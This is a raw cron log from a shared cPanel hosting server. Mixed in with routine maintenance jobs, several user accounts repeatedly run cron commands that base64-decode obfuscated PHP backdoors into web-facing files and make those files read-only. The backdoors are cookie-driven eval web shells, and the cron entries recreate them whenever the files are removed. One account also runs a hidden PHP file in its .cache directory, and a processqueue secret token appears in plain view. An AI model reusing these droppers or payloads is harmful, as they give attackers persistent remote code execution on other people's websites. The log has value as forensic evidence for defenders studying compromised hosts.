"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:08:01 medusa CROND[28567]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:08:01 medusa CROND[28569]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:08:01 medusa CROND[28570]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 02:08:01 medusa CROND[28609]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:08:01 medusa CROND[28616]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:09:01 medusa CROND[3852]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:09:01 medusa CROND[3853]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 02:09:01 medusa CROND[3854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:09:01 medusa CROND[3855]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:09:01 medusa CROND[3856]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:09:01 medusa CROND[3859]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:09:01 medusa CROND[3858]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:09:01 medusa CROND[3862]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:09:01 medusa CROND[3863]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:09:01 medusa CROND[3864]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:09:01 medusa CROND[3865]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:09:01 medusa CROND[3867]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  2 02:09:01 medusa CROND[3872]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:10:02 medusa CROND[9982]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 02:10:02 medusa CROND[10045]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:10:02 medusa CROND[10046]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 02:10:02 medusa CROND[10047]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 02:10:02 medusa CROND[10048]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:10:02 medusa CROND[10049]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:10:02 medusa CROND[10062]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:10:02 medusa CROND[10065]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:10:02 medusa CROND[10066]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 02:10:02 medusa CROND[10064]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 02:10:02 medusa CROND[10067]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 02:10:02 medusa CROND[10072]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 02:10:02 medusa CROND[10075]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:10:02 medusa CROND[10071]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:10:02 medusa CROND[10073]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 02:10:02 medusa CROND[10079]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 02:10:02 medusa CROND[10086]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:10:02 medusa CROND[10087]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:10:02 medusa CROND[10084]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 02:10:02 medusa CROND[10092]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 02:10:02 medusa CROND[10101]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3